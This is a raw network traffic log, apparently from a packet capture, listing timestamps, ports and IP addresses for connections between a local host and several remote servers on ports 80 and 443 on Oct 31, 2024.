Oct 31, 2024 03:04:30.561196089 CET	443	49833	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:30.561218023 CET	49833	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:30.561228991 CET	443	49833	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:30.561239004 CET	443	49833	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:30.561255932 CET	49833	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:30.561279058 CET	49833	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:30.561757088 CET	49833	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:30.561769009 CET	443	49833	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:30.578161001 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.578233004 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:30.578331947 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.578341961 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.578387022 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:30.578392982 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.578402996 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.578413963 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.578425884 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.578437090 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.578447104 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.578459024 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:30.578484058 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:30.578509092 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:30.578752041 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.578795910 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:30.578799963 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.579128981 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.579185009 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:30.582969904 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.582988024 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.583030939 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:30.583050013 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:30.583339930 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.583395958 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:30.643024921 CET	443	49851	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:30.649893999 CET	443	49850	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:30.660407066 CET	443	49849	4.150.155.223	192.168.2.5
Oct 31, 2024 03:04:30.668832064 CET	49851	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:30.668849945 CET	443	49851	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:30.669343948 CET	49851	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:30.669348955 CET	443	49851	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:30.669672966 CET	49850	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:30.669687986 CET	443	49850	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:30.673043013 CET	49850	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:30.673047066 CET	443	49850	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:30.685235977 CET	443	49849	4.150.155.223	192.168.2.5
Oct 31, 2024 03:04:30.685317993 CET	49849	443	192.168.2.5	4.150.155.223
Oct 31, 2024 03:04:30.692204952 CET	49849	443	192.168.2.5	4.150.155.223
Oct 31, 2024 03:04:30.692223072 CET	443	49849	4.150.155.223	192.168.2.5
Oct 31, 2024 03:04:30.724895000 CET	443	49852	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:30.737253904 CET	49852	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:30.737267971 CET	443	49852	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:30.737766027 CET	49852	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:30.737771034 CET	443	49852	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:30.740865946 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.740878105 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.740888119 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.740899086 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.740932941 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:30.740969896 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:30.741049051 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.741060019 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.741070032 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.741118908 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:30.741296053 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.741365910 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.741378069 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.741388083 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.741430998 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:30.741791010 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.741808891 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.741826057 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.741837025 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.741848946 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.741857052 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:30.741873026 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:30.741889000 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:30.742379904 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.742391109 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.742402077 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.742438078 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:30.742451906 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:30.742480993 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.742494106 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.742505074 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.742516041 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:30.742518902 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.742539883 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:30.742571115 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:30.743280888 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.743343115 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:30.743426085 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.743591070 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:30.794881105 CET	443	49851	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:30.795130014 CET	443	49851	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:30.795197964 CET	49851	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:30.795228004 CET	49851	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:30.795243025 CET	443	49851	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:30.795253038 CET	49851	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:30.795258045 CET	443	49851	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:30.798197985 CET	49855	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:30.798237085 CET	443	49855	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:30.798352957 CET	49855	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:30.798521996 CET	49855	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:30.798547029 CET	443	49855	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:30.799348116 CET	443	49850	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:30.799468040 CET	443	49850	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:30.799529076 CET	49850	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:30.799551010 CET	49850	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:30.799565077 CET	443	49850	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:30.799573898 CET	49850	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:30.799580097 CET	443	49850	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:30.801865101 CET	49856	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:30.801876068 CET	443	49856	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:30.801939011 CET	49856	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:30.802056074 CET	49856	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:30.802072048 CET	443	49856	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:30.865326881 CET	443	49852	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:30.865407944 CET	443	49852	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:30.865478039 CET	49852	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:30.865813017 CET	49852	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:30.865828037 CET	443	49852	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:30.865890026 CET	49852	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:30.865896940 CET	443	49852	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:30.872454882 CET	49857	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:30.872474909 CET	443	49857	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:30.872680902 CET	443	49853	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:30.872838974 CET	49857	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:30.872973919 CET	49857	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:30.872983932 CET	443	49857	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:30.873235941 CET	49853	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:30.873253107 CET	443	49853	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:30.873800039 CET	49853	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:30.873805046 CET	443	49853	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:30.903532982 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.903548956 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.903561115 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.903572083 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.903603077 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:30.903631926 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:30.903661966 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.903706074 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.903717995 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.903753996 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.903764963 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.903764963 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:30.903778076 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.903793097 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:30.903821945 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:30.904297113 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.904309034 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.904320002 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.904362917 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.904364109 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:30.904375076 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.904386044 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.904388905 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:30.904421091 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:30.904968023 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.904978991 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.904990911 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.905002117 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.905006886 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:30.905014992 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.905025005 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:30.905049086 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.905060053 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.905080080 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:30.905102015 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:30.905699015 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.905710936 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.905721903 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.905721903 CET	443	49854	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:30.905752897 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.905765057 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.905776024 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.905777931 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:30.905788898 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.905801058 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:30.905818939 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.905818939 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:30.905831099 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.905884027 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:30.906632900 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.906681061 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.906692028 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.906692982 CET	49854	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:30.906692982 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:30.906702995 CET	443	49854	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:30.906703949 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.906718969 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:30.906769037 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:30.906780958 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.906791925 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.906802893 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.906816959 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.906829119 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.906843901 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:30.906855106 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:30.906877041 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:30.907186985 CET	49854	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:30.907191992 CET	443	49854	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:30.907577038 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.907624960 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:30.908263922 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:30.908421040 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:30.999263048 CET	443	49853	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:30.999669075 CET	443	49853	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:30.999742985 CET	49853	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:30.999804974 CET	49853	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:30.999820948 CET	443	49853	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:30.999834061 CET	49853	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:30.999845028 CET	443	49853	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:31.003005981 CET	49858	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:31.003021002 CET	443	49858	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:31.003087997 CET	49858	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:31.003401995 CET	49858	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:31.003417015 CET	443	49858	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:31.012017012 CET	49859	443	192.168.2.5	162.159.61.3
Oct 31, 2024 03:04:31.012036085 CET	443	49859	162.159.61.3	192.168.2.5
Oct 31, 2024 03:04:31.012209892 CET	49859	443	192.168.2.5	162.159.61.3
Oct 31, 2024 03:04:31.012434006 CET	49860	443	192.168.2.5	162.159.61.3
Oct 31, 2024 03:04:31.012460947 CET	443	49860	162.159.61.3	192.168.2.5
Oct 31, 2024 03:04:31.012650013 CET	49859	443	192.168.2.5	162.159.61.3
Oct 31, 2024 03:04:31.012664080 CET	443	49859	162.159.61.3	192.168.2.5
Oct 31, 2024 03:04:31.012700081 CET	49860	443	192.168.2.5	162.159.61.3
Oct 31, 2024 03:04:31.012803078 CET	49860	443	192.168.2.5	162.159.61.3
Oct 31, 2024 03:04:31.012809038 CET	443	49860	162.159.61.3	192.168.2.5
Oct 31, 2024 03:04:31.021799088 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.021816969 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.021826982 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.021850109 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.021871090 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.037591934 CET	443	49854	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:31.037744999 CET	443	49854	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:31.037847042 CET	49854	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:31.037847042 CET	49854	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:31.037868023 CET	49854	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:31.037878036 CET	443	49854	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:31.041239023 CET	49861	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:31.041260004 CET	443	49861	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:31.041506052 CET	49861	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:31.041882992 CET	49861	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:31.041893959 CET	443	49861	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:31.067886114 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.067898989 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.067917109 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.067954063 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.067965984 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.067976952 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.067982912 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.067992926 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.068001032 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.068015099 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.068017960 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.068028927 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.068039894 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.068041086 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.068052053 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.068059921 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.068065882 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.068073988 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.068078041 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.068089962 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.068099022 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.068118095 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.068137884 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.068783998 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.068804979 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.068821907 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.068828106 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.068833113 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.068842888 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.068849087 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.068855047 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.068866014 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.068866014 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.068876982 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.068888903 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.068892002 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.068901062 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.068906069 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.068912029 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.068922997 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.068938971 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.068948984 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.068949938 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.068964958 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.068974018 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.068995953 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.069067955 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.069080114 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.069103003 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.069113970 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.069118977 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.069124937 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.069138050 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.069144964 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.069149017 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.069160938 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.069161892 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.069173098 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.069189072 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.069225073 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.069237947 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.069248915 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.069258928 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.069269896 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.069282055 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.069283009 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.069307089 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.069307089 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.069992065 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.070029974 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.070043087 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.070054054 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.070081949 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.070085049 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.070096016 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.070116997 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.070127964 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.070138931 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.070151091 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.070153952 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.070173979 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.070193052 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.070214987 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.070226908 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.070238113 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.070249081 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.070251942 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.070261002 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.070283890 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.070307970 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.071332932 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.071345091 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.071357012 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.071367979 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.071379900 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.071389914 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.071403980 CET	80	49823	185.215.113.206	192.168.2.5
